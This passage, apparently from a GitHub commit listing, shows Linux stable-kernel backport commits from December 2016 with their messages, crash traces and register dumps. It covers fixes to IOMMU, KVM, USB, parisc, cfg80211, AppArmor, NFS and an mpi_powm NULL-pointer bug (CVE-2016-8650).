  1. iommu/vt-d: Fix PASID table allocation

    commit 9101704 upstream.
    
    Somehow I ended up with an off-by-three error in calculating the size of
    the PASID and PASID State tables, which triggers allocations failures as
    those tables unfortunately have to be physically contiguous.
    
    In fact, even the *correct* maximum size of 8MiB is problematic and is
    wont to lead to allocation failures. Since I have extracted a promise
    that this *will* be fixed in hardware, I'm happy to limit it on the
    current hardware to a maximum of 0x20000 PASIDs, which gives us 1MiB
    tables — still not ideal, but better than before.
    
    Reported by Mika Kuoppala <[email protected]> and also by
    Xunlei Pang <[email protected]> who submitted a simpler patch to fix
    only the allocation (and not the free) to the "correct" limit... which
    was still problematic.
    
    Signed-off-by: David Woodhouse <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    dwmw2 authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    d88a1bd View commit details
    Browse the repository at this point in the history
  2. iommu/vt-d: Fix IOMMU lookup for SR-IOV Virtual Functions

    commit 1c38718 upstream.
    
    The VT-d specification (§8.3.3) says:
        ‘Virtual Functions’ of a ‘Physical Function’ are under the scope
        of the same remapping unit as the ‘Physical Function’.
    
    The BIOS is not required to list all the possible VFs in the scope
    tables, and arguably *shouldn't* make any attempt to do so, since there
    could be a huge number of them.
    
    This has been broken basically for ever — the VF is never going to match
    against a specific unit's scope, so it ends up being assigned to the
    INCLUDE_ALL IOMMU. Which was always actually correct by coincidence, but
    now we're looking at Root-Complex integrated devices with SR-IOV support
    it's going to start being wrong.
    
    Fix it to simply use pci_physfn() before doing the lookup for PCI devices.
    
    Signed-off-by: Sainath Grandhi <[email protected]>
    Signed-off-by: Ashok Raj <[email protected]>
    Signed-off-by: David Woodhouse <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    ashok-raj authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    c091bbd View commit details
    Browse the repository at this point in the history
  3. KVM: x86: drop error recovery in em_jmp_far and em_ret_far

    commit 2117d53 upstream.
    
    em_jmp_far and em_ret_far assumed that setting IP can only fail in 64
    bit mode, but syzkaller proved otherwise (and SDM agrees).
    Code segment was restored upon failure, but it was left uninitialized
    outside of long mode, which could lead to a leak of host kernel stack.
    We could have fixed that by always saving and restoring the CS, but we
    take a simpler approach and just break any guest that manages to fail
    as the error recovery is error-prone and modern CPUs don't need emulator
    for this.
    
    Found by syzkaller:
    
      WARNING: CPU: 2 PID: 3668 at arch/x86/kvm/emulate.c:2217 em_ret_far+0x428/0x480
      Kernel panic - not syncing: panic_on_warn set ...
    
      CPU: 2 PID: 3668 Comm: syz-executor Not tainted 4.9.0-rc4+ Freescale#49
      Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
       [...]
      Call Trace:
       [...] __dump_stack lib/dump_stack.c:15
       [...] dump_stack+0xb3/0x118 lib/dump_stack.c:51
       [...] panic+0x1b7/0x3a3 kernel/panic.c:179
       [...] __warn+0x1c4/0x1e0 kernel/panic.c:542
       [...] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585
       [...] em_ret_far+0x428/0x480 arch/x86/kvm/emulate.c:2217
       [...] em_ret_far_imm+0x17/0x70 arch/x86/kvm/emulate.c:2227
       [...] x86_emulate_insn+0x87a/0x3730 arch/x86/kvm/emulate.c:5294
       [...] x86_emulate_instruction+0x520/0x1ba0 arch/x86/kvm/x86.c:5545
       [...] emulate_instruction arch/x86/include/asm/kvm_host.h:1116
       [...] complete_emulated_io arch/x86/kvm/x86.c:6870
       [...] complete_emulated_mmio+0x4e9/0x710 arch/x86/kvm/x86.c:6934
       [...] kvm_arch_vcpu_ioctl_run+0x3b7a/0x5a90 arch/x86/kvm/x86.c:6978
       [...] kvm_vcpu_ioctl+0x61e/0xdd0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:2557
       [...] vfs_ioctl fs/ioctl.c:43
       [...] do_vfs_ioctl+0x18c/0x1040 fs/ioctl.c:679
       [...] SYSC_ioctl fs/ioctl.c:694
       [...] SyS_ioctl+0x8f/0xc0 fs/ioctl.c:685
       [...] entry_SYSCALL_64_fastpath+0x1f/0xc2
    
    Reported-by: Dmitry Vyukov <[email protected]>
    Fixes: d1442d8 ("KVM: x86: Handle errors when RIP is set during far jumps")
    Signed-off-by: Radim Krčmář <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    rkrcmar authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    b7f9404 View commit details
    Browse the repository at this point in the history
  4. KVM: x86: check for pic and ioapic presence before use

    commit df49289 upstream.
    
    Split irqchip allows pic and ioapic routes to be used without them being
    created, which results in NULL access.  Check for NULL and avoid it.
    (The setup is too racy for a nicer solutions.)
    
    Found by syzkaller:
    
      general protection fault: 0000 [Freescale#1] SMP DEBUG_PAGEALLOC KASAN
      Dumping ftrace buffer:
         (ftrace buffer empty)
      Modules linked in:
      CPU: 3 PID: 11923 Comm: kworker/3:2 Not tainted 4.9.0-rc5+ Freescale#27
      Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
      Workqueue: events irqfd_inject
      task: ffff88006a06c7c0 task.stack: ffff880068638000
      RIP: 0010:[...]  [...] __lock_acquire+0xb35/0x3380 kernel/locking/lockdep.c:3221
      RSP: 0000:ffff88006863ea20  EFLAGS: 00010006
      RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: 0000000000000000
      RDX: 0000000000000039 RSI: 0000000000000000 RDI: 1ffff1000d0c7d9e
      RBP: ffff88006863ef58 R08: 0000000000000001 R09: 0000000000000000
      R10: 00000000000001c8 R11: 0000000000000000 R12: ffff88006a06c7c0
      R13: 0000000000000001 R14: ffffffff8baab1a0 R15: 0000000000000001
      FS:  0000000000000000(0000) GS:ffff88006d100000(0000) knlGS:0000000000000000
      CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
      CR2: 00000000004abdd0 CR3: 000000003e2f2000 CR4: 00000000000026e0
      Stack:
       ffffffff894d0098 1ffff1000d0c7d56 ffff88006863ecd0 dffffc0000000000
       ffff88006a06c7c0 0000000000000000 ffff88006863ecf8 0000000000000082
       0000000000000000 ffffffff815dd7c1 ffffffff00000000 ffffffff00000000
      Call Trace:
       [...] lock_acquire+0x2a2/0x790 kernel/locking/lockdep.c:3746
       [...] __raw_spin_lock include/linux/spinlock_api_smp.h:144
       [...] _raw_spin_lock+0x38/0x50 kernel/locking/spinlock.c:151
       [...] spin_lock include/linux/spinlock.h:302
       [...] kvm_ioapic_set_irq+0x4c/0x100 arch/x86/kvm/ioapic.c:379
       [...] kvm_set_ioapic_irq+0x8f/0xc0 arch/x86/kvm/irq_comm.c:52
       [...] kvm_set_irq+0x239/0x640 arch/x86/kvm/../../../virt/kvm/irqchip.c:101
       [...] irqfd_inject+0xb4/0x150 arch/x86/kvm/../../../virt/kvm/eventfd.c:60
       [...] process_one_work+0xb40/0x1ba0 kernel/workqueue.c:2096
       [...] worker_thread+0x214/0x18a0 kernel/workqueue.c:2230
       [...] kthread+0x328/0x3e0 kernel/kthread.c:209
       [...] ret_from_fork+0x2a/0x40 arch/x86/entry/entry_64.S:433
    
    Reported-by: Dmitry Vyukov <[email protected]>
    Fixes: 49df639 ("KVM: x86: Split the APIC from the rest of IRQCHIP.")
    Signed-off-by: Radim Krčmář <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    rkrcmar authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    341f973 View commit details
    Browse the repository at this point in the history
  5. usb: chipidea: move the lock initialization to core file

    commit a5d906b upstream.
    
    This can fix below dump when the lock is accessed at host
    mode due to it is not initialized.
    
    [   46.119638] INFO: trying to register non-static key.
    [   46.124643] the code is fine but needs lockdep annotation.
    [   46.130144] turning off the locking correctness validator.
    [   46.135659] CPU: 0 PID: 690 Comm: cat Not tainted 4.9.0-rc3-00079-g4b75f1d #1210
    [   46.143075] Hardware name: Freescale i.MX6 SoloX (Device Tree)
    [   46.148923] Backtrace:
    [   46.151448] [<c010c460>] (dump_backtrace) from [<c010c658>] (show_stack+0x18/0x1c)
    [   46.159038]  r7:edf52000
    [   46.161412]  r6:60000193
    [   46.163967]  r5:00000000
    [   46.165035]  r4:c0e25c2c
    
    [   46.169109] [<c010c640>] (show_stack) from [<c03f58a4>] (dump_stack+0xb4/0xe8)
    [   46.176362] [<c03f57f0>] (dump_stack) from [<c016d690>] (register_lock_class+0x4fc/0x56c)
    [   46.184554]  r10:c0e25d24
    [   46.187014]  r9:edf53e70
    [   46.189569]  r8:c1642444
    [   46.190637]  r7:ee9da024
    [   46.193191]  r6:00000000
    [   46.194258]  r5:00000000
    [   46.196812]  r4:00000000
    [   46.199185]  r3:00000001
    
    [   46.203259] [<c016d194>] (register_lock_class) from [<c0171294>] (__lock_acquire+0x80/0x10f0)
    [   46.211797]  r10:c0e25d24
    [   46.214257]  r9:edf53e70
    [   46.216813]  r8:ee9da024
    [   46.217880]  r7:c1642444
    [   46.220435]  r6:edcd1800
    [   46.221502]  r5:60000193
    [   46.224057]  r4:00000000
    
    [   46.227953] [<c0171214>] (__lock_acquire) from [<c01726c0>] (lock_acquire+0x74/0x94)
    [   46.235710]  r10:00000001
    [   46.238169]  r9:edf53e70
    [   46.240723]  r8:edf53f80
    [   46.241790]  r7:00000001
    [   46.244344]  r6:00000001
    [   46.245412]  r5:60000193
    [   46.247966]  r4:00000000
    
    [   46.251866] [<c017264c>] (lock_acquire) from [<c096c8fc>] (_raw_spin_lock_irqsave+0x40/0x54)
    [   46.260319]  r7:ee1c6a00
    [   46.262691]  r6:c062a570
    [   46.265247]  r5:20000113
    [   46.266314]  r4:ee9da014
    
    [   46.270393] [<c096c8bc>] (_raw_spin_lock_irqsave) from [<c062a570>] (ci_port_test_show+0x2c/0x70)
    [   46.279280]  r6:eebd2000
    [   46.281652]  r5:ee9da010
    [   46.284207]  r4:ee9da014
    
    [   46.286810] [<c062a544>] (ci_port_test_show) from [<c0248d04>] (seq_read+0x1ac/0x4f8)
    [   46.294655]  r9:edf53e70
    [   46.297028]  r8:edf53f80
    [   46.299583]  r7:ee1c6a00
    [   46.300650]  r6:00000001
    [   46.303205]  r5:00000000
    [   46.304273]  r4:eebd2000
    [   46.306850] [<c0248b58>] (seq_read) from [<c039e864>] (full_proxy_read+0x54/0x6c)
    [   46.314348]  r10:00000000
    [   46.316808]  r9:c0a6ad30
    [   46.319363]  r8:edf53f80
    [   46.320430]  r7:00020000
    [   46.322986]  r6:b6de3000
    [   46.324053]  r5:ee1c6a00
    [   46.326607]  r4:c0248b58
    
    [   46.330505] [<c039e810>] (full_proxy_read) from [<c021ec98>] (__vfs_read+0x34/0x118)
    [   46.338262]  r9:edf52000
    [   46.340635]  r8:c0107fc4
    [   46.343190]  r7:00020000
    [   46.344257]  r6:edf53f80
    [   46.346812]  r5:c039e810
    [   46.347879]  r4:ee1c6a00
    [   46.350447] [<c021ec64>] (__vfs_read) from [<c021fbd0>] (vfs_read+0x8c/0x11c)
    [   46.357597]  r9:edf52000
    [   46.359969]  r8:c0107fc4
    [   46.362524]  r7:edf53f80
    [   46.363592]  r6:b6de3000
    [   46.366147]  r5:ee1c6a00
    [   46.367214]  r4:00020000
    [   46.369782] [<c021fb44>] (vfs_read) from [<c0220a4c>] (SyS_read+0x4c/0xa8)
    [   46.376672]  r8:c0107fc4
    [   46.379045]  r7:00020000
    [   46.381600]  r6:b6de3000
    [   46.382667]  r5:ee1c6a00
    [   46.385222]  r4:ee1c6a00
    
    [   46.387817] [<c0220a00>] (SyS_read) from [<c0107e20>] (ret_fast_syscall+0x0/0x1c)
    [   46.395314]  r7:00000003
    [   46.397687]  r6:b6de3000
    [   46.400243]  r5:00020000
    [   46.401310]  r4:00020000
    
    Fixes: 26c696c ("USB: Chipidea: rename struct ci13xxx variables from udc to ci")
    Signed-off-by: Peter Chen <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Peter Chen authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    55d061b View commit details
    Browse the repository at this point in the history
  6. USB: serial: cp210x: add ID for the Zone DPMX

    commit 2ab1329 upstream.
    
    The BRIM Brothers Zone DPMX is a bicycle powermeter. This ID is for the USB
    serial interface in its charging dock for the control pods, via which some
    settings for the pods can be modified.
    
    Signed-off-by: Paul Jakma <[email protected]>
    Cc: Barry Redmond <[email protected]>
    Signed-off-by: Johan Hovold <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    pjakma authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    1f36db0 View commit details
    Browse the repository at this point in the history
  7. USB: serial: ftdi_sio: add support for TI CC3200 LaunchPad

    commit 9bfef72 upstream.
    
    This patch adds support for the TI CC3200 LaunchPad board, which uses a
    custom USB vendor ID and product ID. Channel A is used for JTAG, and
    channel B is used for a UART.
    
    Signed-off-by: Doug Brown <[email protected]>
    Signed-off-by: Johan Hovold <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    dougg3 authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    f3f95f1 View commit details
    Browse the repository at this point in the history
  8. Fix USB CB/CBI storage devices with CONFIG_VMAP_STACK=y

    commit 2ce9d22 upstream.
    
    Some code (all error handling) submits CDBs that are allocated
    on the stack.  This breaks with CB/CBI code that tries to create
    URB directly from SCSI command buffer - which happens to be in
    vmalloced memory with vmalloced kernel stacks.
    
    Let's make copy of the command in usb_stor_CB_transport.
    
    Signed-off-by: Petr Vandrovec <[email protected]>
    Acked-by: Alan Stern <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    petrvandrovec authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    ab0867d View commit details
    Browse the repository at this point in the history
  9. scsi: mpt3sas: Fix secure erase premature termination

    commit 18f6084 upstream.
    
    This is a work around for a bug with LSI Fusion MPT SAS2 when perfoming
    secure erase. Due to the very long time the operation takes, commands
    issued during the erase will time out and will trigger execution of the
    abort hook. Even though the abort hook is called for the specific
    command which timed out, this leads to entire device halt
    (scsi_state terminated) and premature termination of the secure erase.
    
    Set device state to busy while ATA passthrough commands are in progress.
    
    [mkp: hand applied to 4.9/scsi-fixes, tweaked patch description]
    
    Signed-off-by: Andrey Grodzovsky <[email protected]>
    Acked-by: Sreekanth Reddy <[email protected]>
    Cc: <[email protected]>
    Cc: Sathya Prakash <[email protected]>
    Cc: Chaitra P B <[email protected]>
    Cc: Suganath Prabu Subramani <[email protected]>
    Cc: Sreekanth Reddy <[email protected]>
    Cc: Hannes Reinecke <[email protected]>
    Signed-off-by: Martin K. Petersen <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    andrey2805 authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    ffffc1e View commit details
    Browse the repository at this point in the history
  10. tile: avoid using clocksource_cyc2ns with absolute cycle count

    commit e658a6f upstream.
    
    For large values of "mult" and long uptimes, the intermediate
    result of "cycles * mult" can overflow 64 bits.  For example,
    the tile platform calls clocksource_cyc2ns with a 1.2 GHz clock;
    we have mult = 853, and after 208.5 days, we overflow 64 bits.
    
    Since clocksource_cyc2ns() is intended to be used for relative
    cycle counts, not absolute cycle counts, performance is more
    importance than accepting a wider range of cycle values.  So,
    just use mult_frac() directly in tile's sched_clock().
    
    Commit 4cecf6d ("sched, x86: Avoid unnecessary overflow
    in sched_clock") by Salman Qazi results in essentially the same
    generated code for x86 as this change does for tile.  In fact,
    a follow-on change by Salman introduced mult_frac() and switched
    to using it, so the C code was largely identical at that point too.
    
    Peter Zijlstra then added mul_u64_u32_shr() and switched x86
    to use it.  This is, in principle, better; by optimizing the
    64x64->64 multiplies to be 32x32->64 multiplies we can potentially
    save some time.  However, the compiler piplines the 64x64->64
    multiplies pretty well, and the conditional branch in the generic
    mul_u64_u32_shr() causes some bubbles in execution, with the
    result that it's pretty much a wash.  If tilegx provided its own
    implementation of mul_u64_u32_shr() without the conditional branch,
    we could potentially save 3 cycles, but that seems like small gain
    for a fair amount of additional build scaffolding; no other platform
    currently provides a mul_u64_u32_shr() override, and tile doesn't
    currently have an <asm/div64.h> header to put the override in.
    
    Additionally, gcc currently has an optimization bug that prevents
    it from recognizing the opportunity to use a 32x32->64 multiply,
    and so the result would be no better than the existing mult_frac()
    until such time as the compiler is fixed.
    
    For now, just using mult_frac() seems like the right answer.
    
    Signed-off-by: Chris Metcalf <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    cmetcalf-tilera authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    4df3162 View commit details
    Browse the repository at this point in the history
  11. cfg80211: limit scan results cache size

    commit 9853a55 upstream.
    
    It's possible to make scanning consume almost arbitrary amounts
    of memory, e.g. by sending beacon frames with random BSSIDs at
    high rates while somebody is scanning.
    
    Limit the number of BSS table entries we're willing to cache to
    1000, limiting maximum memory usage to maybe 4-5MB, but lower
    in practice - that would be the case for having both full-sized
    beacon and probe response frames for each entry; this seems not
    possible in practice, so a limit of 1000 entries will likely be
    closer to 0.5 MB.
    
    Signed-off-by: Johannes Berg <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jmberg-intel authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    8316338 View commit details
    Browse the repository at this point in the history
  12. apparmor: fix change_hat not finding hat after policy replacement

    commit 3d40658 upstream.
    
    After a policy replacement, the task cred may be out of date and need
    to be updated. However change_hat is using the stale profiles from
    the out of date cred resulting in either: a stale profile being applied
    or, incorrect failure when searching for a hat profile as it has been
    migrated to the new parent profile.
    
    Fixes: 01e2b67 (failure to find hat)
    Fixes: 898127c (stale policy being applied)
    Bugzilla: https://bugzilla.suse.com/show_bug.cgi?id=1000287
    Signed-off-by: John Johansen <[email protected]>
    Signed-off-by: James Morris <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    John Johansen authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    be79d7f View commit details
    Browse the repository at this point in the history
  13. NFSv4.x: hide array-bounds warning

    commit d55b352 upstream.
    
    A correct bugfix introduced a harmless warning that shows up with gcc-7:
    
    fs/nfs/callback.c: In function 'nfs_callback_up':
    fs/nfs/callback.c:214:14: error: array subscript is outside array bounds [-Werror=array-bounds]
    
    What happens here is that the 'minorversion == 0' check tells the
    compiler that we assume minorversion can be something other than 0,
    but when CONFIG_NFS_V4_1 is disabled that would be invalid and
    result in an out-of-bounds access.
    
    The added check for IS_ENABLED(CONFIG_NFS_V4_1) tells gcc that this
    really can't happen, which makes the code slightly smaller and also
    avoids the warning.
    
    The bugfix that introduced the warning is marked for stable backports,
    we want this one backported to the same releases.
    
    Fixes: 98b0f80 ("NFSv4.x: Fix a refcount leak in nfs_callback_up_net")
    Signed-off-by: Arnd Bergmann <[email protected]>
    Signed-off-by: Anna Schumaker <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    arndb authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    0c0ddbf View commit details
    Browse the repository at this point in the history
  14. parisc: Fix races in parisc_setup_cache_timing()

    commit 741dc7b upstream.
    
    Helge reported to me the following startup crash:
    
    [    0.000000] Linux version 4.8.0-1-parisc64-smp ([email protected]) (gcc version 5.4.1 20161019 (GCC) ) Freescale#1 SMP Debian 4.8.7-1 (2016-11-13)
    [    0.000000] The 64-bit Kernel has started...
    [    0.000000] Kernel default page size is 4 KB. Huge pages enabled with 1 MB physical and 2 MB virtual size.
    [    0.000000] Determining PDC firmware type: System Map.
    [    0.000000] model 9000/785/J5000
    [    0.000000] Total Memory: 2048 MB
    [    0.000000] Memory: 2018528K/2097152K available (9272K kernel code, 3053K rwdata, 1319K rodata, 1024K init, 840K bss, 78624K reserved, 0K cma-reserved)
    [    0.000000] virtual kernel memory layout:
    [    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    [    0.000000]     memory  : 0x0000000040000000 - 0x00000000c0000000   (2048 MB)
    [    0.000000]       .init : 0x0000000040100000 - 0x0000000040200000   (1024 kB)
    [    0.000000]       .data : 0x0000000040b0e000 - 0x0000000040f533e0   (4372 kB)
    [    0.000000]       .text : 0x0000000040200000 - 0x0000000040b0e000   (9272 kB)
    [    0.768910] Brought up 1 CPUs
    [    0.992465] NET: Registered protocol family 16
    [    2.429981] Releasing cpu 1 now, hpa=fffffffffffa2000
    [    2.635751] CPU(s): 2 out of 2 PA8500 (PCX-W) at 440.000000 MHz online
    [    2.726692] Setting cache flush threshold to 1024 kB
    [    2.729932] Not-handled unaligned insn 0x43ffff80
    [    2.798114] Setting TLB flush threshold to 140 kB
    [    2.928039] Unaligned handler failed, ret = -1
    [    3.000419]       _______________________________
    [    3.000419]      < Your System ate a SPARC! Gah! >
    [    3.000419]       -------------------------------
    [    3.000419]              \   ^__^
    [    3.000419]                  (__)\       )\/\
    [    3.000419]                   U  ||----w |
    [    3.000419]                      ||     ||
    [    9.340055] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 4.8.0-1-parisc64-smp Freescale#1 Debian 4.8.7-1
    [    9.448082] task: 00000000bfd48060 task.stack: 00000000bfd50000
    [    9.528040]
    [   10.760029] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004025d154 000000004025d158
    [   10.868052]  IIR: 43ffff80    ISR: 0000000000340000  IOR: 000001ff54150960
    [   10.960029]  CPU:        1   CR30: 00000000bfd50000 CR31: 0000000011111111
    [   11.052057]  ORIG_R28: 000000004021e3b4
    [   11.100045]  IAOQ[0]: irq_exit+0x94/0x120
    [   11.152062]  IAOQ[1]: irq_exit+0x98/0x120
    [   11.208031]  RP(r2): irq_exit+0xb8/0x120
    [   11.256074] Backtrace:
    [   11.288067]  [<00000000402cd944>] cpu_startup_entry+0x1e4/0x598
    [   11.368058]  [<0000000040109528>] smp_callin+0x2c0/0x2f0
    [   11.436308]  [<00000000402b53fc>] update_curr+0x18c/0x2d0
    [   11.508055]  [<00000000402b73b8>] dequeue_entity+0x2c0/0x1030
    [   11.584040]  [<00000000402b3cc0>] set_next_entity+0x80/0xd30
    [   11.660069]  [<00000000402c1594>] pick_next_task_fair+0x614/0x720
    [   11.740085]  [<000000004020dd34>] __schedule+0x394/0xa60
    [   11.808054]  [<000000004020e488>] schedule+0x88/0x118
    [   11.876039]  [<0000000040283d3c>] rescuer_thread+0x4d4/0x5b0
    [   11.948090]  [<000000004028fc4c>] kthread+0x1ec/0x248
    [   12.016053]  [<0000000040205020>] end_fault_vector+0x20/0xc0
    [   12.092239]  [<00000000402050c0>] _switch_to_ret+0x0/0xf40
    [   12.164044]
    [   12.184036] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 4.8.0-1-parisc64-smp Freescale#1 Debian 4.8.7-1
    [   12.244040] Backtrace:
    [   12.244040]  [<000000004021c480>] show_stack+0x68/0x80
    [   12.244040]  [<00000000406f332c>] dump_stack+0xec/0x168
    [   12.244040]  [<000000004021c74c>] die_if_kernel+0x25c/0x430
    [   12.244040]  [<000000004022d320>] handle_unaligned+0xb48/0xb50
    [   12.244040]
    [   12.632066] ---[ end trace 9ca05a7215c7bbb2 ]---
    [   12.692036] Kernel panic - not syncing: Attempted to kill the idle task!
    
    We have the insn 0x43ffff80 in IIR but from IAOQ we should have:
       4025d150:   0f f3 20 df     ldd,s r19(r31),r31
       4025d154:   0f 9f 00 9c     ldw r31(ret0),ret0
       4025d158:   bf 80 20 58     cmpb,*<> r0,ret0,4025d18c <irq_exit+0xcc>
    
    Cpu0 has just completed running parisc_setup_cache_timing:
    
    [    2.429981] Releasing cpu 1 now, hpa=fffffffffffa2000
    [    2.635751] CPU(s): 2 out of 2 PA8500 (PCX-W) at 440.000000 MHz online
    [    2.726692] Setting cache flush threshold to 1024 kB
    [    2.729932] Not-handled unaligned insn 0x43ffff80
    [    2.798114] Setting TLB flush threshold to 140 kB
    [    2.928039] Unaligned handler failed, ret = -1
    
    From the backtrace, cpu1 is in smp_callin:
    
    void __init smp_callin(void)
    {
           int slave_id = cpu_now_booting;
    
           smp_cpu_init(slave_id);
           preempt_disable();
    
           flush_cache_all_local(); /* start with known state */
           flush_tlb_all_local(NULL);
    
           local_irq_enable();  /* Interrupts have been off until now */
    
           cpu_startup_entry(CPUHP_AP_ONLINE_IDLE);
    
    So, it has just flushed its caches and the TLB. It would seem either the
    flushes in parisc_setup_cache_timing or smp_callin have corrupted kernel
    memory.
    
    The attached patch reworks parisc_setup_cache_timing to remove the races
    in setting the cache and TLB flush thresholds. It also corrects the
    number of bytes flushed in the TLB calculation.
    
    The patch flushes the cache and TLB on cpu0 before starting the
    secondary processors so that they are started from a known state.
    
    Tested with a few reboots on c8000.
    
    Signed-off-by: John David Anglin  <[email protected]>
    Signed-off-by: Helge Deller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    danglin44 authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    e541fd8 View commit details
    Browse the repository at this point in the history
  15. parisc: Fix race in pci-dma.c

    commit c0452fb upstream.
    
    We are still troubled by occasional random segmentation faults and
    memory memory corruption on SMP machines.  The causes quite a few
    package builds to fail on the Debian buildd machines for parisc.  When
    gcc-6 failed to build three times in a row, I looked again at the TLB
    related code.  I found a couple of issues.  This is the first.
    
    In general, we need to ensure page table updates and corresponding TLB
    purges are atomic.  The attached patch fixes an instance in pci-dma.c
    where the page table update was not guarded by the TLB lock.
    
    Tested on rp3440 and c8000.  So far, no further random segmentation
    faults have been observed.
    
    Signed-off-by: John David Anglin  <[email protected]>
    Signed-off-by: Helge Deller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    danglin44 authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    7a1ab6a View commit details
    Browse the repository at this point in the history
  16. parisc: Also flush data TLB in flush_icache_page_asm

    commit 5035b23 upstream.
    
    This is the second issue I noticed in reviewing the parisc TLB code.
    
    The fic instruction may use either the instruction or data TLB in
    flushing the instruction cache.  Thus, on machines with a split TLB, we
    should also flush the data TLB after setting up the temporary alias
    registers.
    
    Although this has no functional impact, I changed the pdtlb and pitlb
    instructions to consistently use the index register %r0.  These
    instructions do not support integer displacements.
    
    Tested on rp3440 and c8000.
    
    Signed-off-by: John David Anglin  <[email protected]>
    Signed-off-by: Helge Deller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    danglin44 authored and gregkh committed Dec 2, 2016
    Configuration menu
    Copy the full SHA
    cd4235a View commit details
    Browse the repository at this point in the history
  17. mpi: Fix NULL ptr dereference in mpi_powm() [ver Freescale#3]

    commit f5527ff upstream.
    
    This fixes CVE-2016-8650.
    
    If mpi_powm() is given a zero exponent, it wants to immediately return
    either 1 or 0, depending on the modulus.  However, if the result was
    initalised with zero limb space, no limbs space is allocated and a
    NULL-pointer exception ensues.
    
    Fix this by allocating a minimal amount of limb space for the result when
    the 0-exponent case when the result is 1 and not touching the limb space
    when the result is 0.
    
    This affects the use of RSA keys and X.509 certificates that carry them.
    
    BUG: unable to handle kernel NULL pointer dereference at           (null)
    IP: [<ffffffff8138ce5d>] mpi_powm+0x32/0x7e6
    PGD 0
    Oops: 0002 [Freescale#1] SMP
    Modules linked in:
    CPU: 3 PID: 3014 Comm: keyctl Not tainted 4.9.0-rc6-fscache+ Freescale#278
    Hardware name: ASUS All Series/H97-PLUS, BIOS 2306 10/09/2014
    task: ffff8804011944c0 task.stack: ffff880401294000
    RIP: 0010:[<ffffffff8138ce5d>]  [<ffffffff8138ce5d>] mpi_powm+0x32/0x7e6
    RSP: 0018:ffff880401297ad8  EFLAGS: 00010212
    RAX: 0000000000000000 RBX: ffff88040868bec0 RCX: ffff88040868bba0
    RDX: ffff88040868b260 RSI: ffff88040868bec0 RDI: ffff88040868bee0
    RBP: ffff880401297ba8 R08: 0000000000000000 R09: 0000000000000000
    R10: 0000000000000047 R11: ffffffff8183b210 R12: 0000000000000000
    R13: ffff8804087c7600 R14: 000000000000001f R15: ffff880401297c50
    FS:  00007f7a7918c700(0000) GS:ffff88041fb80000(0000) knlGS:0000000000000000
    CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    CR2: 0000000000000000 CR3: 0000000401250000 CR4: 00000000001406e0
    Stack:
     ffff88040868bec0 0000000000000020 ffff880401297b00 ffffffff81376cd4
     0000000000000100 ffff880401297b10 ffffffff81376d12 ffff880401297b30
     ffffffff81376f37 0000000000000100 0000000000000000 ffff880401297ba8
    Call Trace:
     [<ffffffff81376cd4>] ? __sg_page_iter_next+0x43/0x66
     [<ffffffff81376d12>] ? sg_miter_get_next_page+0x1b/0x5d
     [<ffffffff81376f37>] ? sg_miter_next+0x17/0xbd
     [<ffffffff8138ba3a>] ? mpi_read_raw_from_sgl+0xf2/0x146
     [<ffffffff8132a95c>] rsa_verify+0x9d/0xee
     [<ffffffff8132acca>] ? pkcs1pad_sg_set_buf+0x2e/0xbb
     [<ffffffff8132af40>] pkcs1pad_verify+0xc0/0xe1
     [<ffffffff8133cb5e>] public_key_verify_signature+0x1b0/0x228
     [<ffffffff8133d974>] x509_check_for_self_signed+0xa1/0xc4
     [<ffffffff8133cdde>] x509_cert_parse+0x167/0x1a1
     [<ffffffff8133d609>] x509_key_preparse+0x21/0x1a1
     [<ffffffff8133c3d7>] asymmetric_key_preparse+0x34/0x61
     [<ffffffff812fc9f3>] key_create_or_update+0x145/0x399
     [<ffffffff812fe227>] SyS_add_key+0x154/0x19e
     [<ffffffff81001c2b>] do_syscall_64+0x80/0x191
     [<ffffffff816825e4>] entry_SYSCALL64_slow_path+0x25/0x25
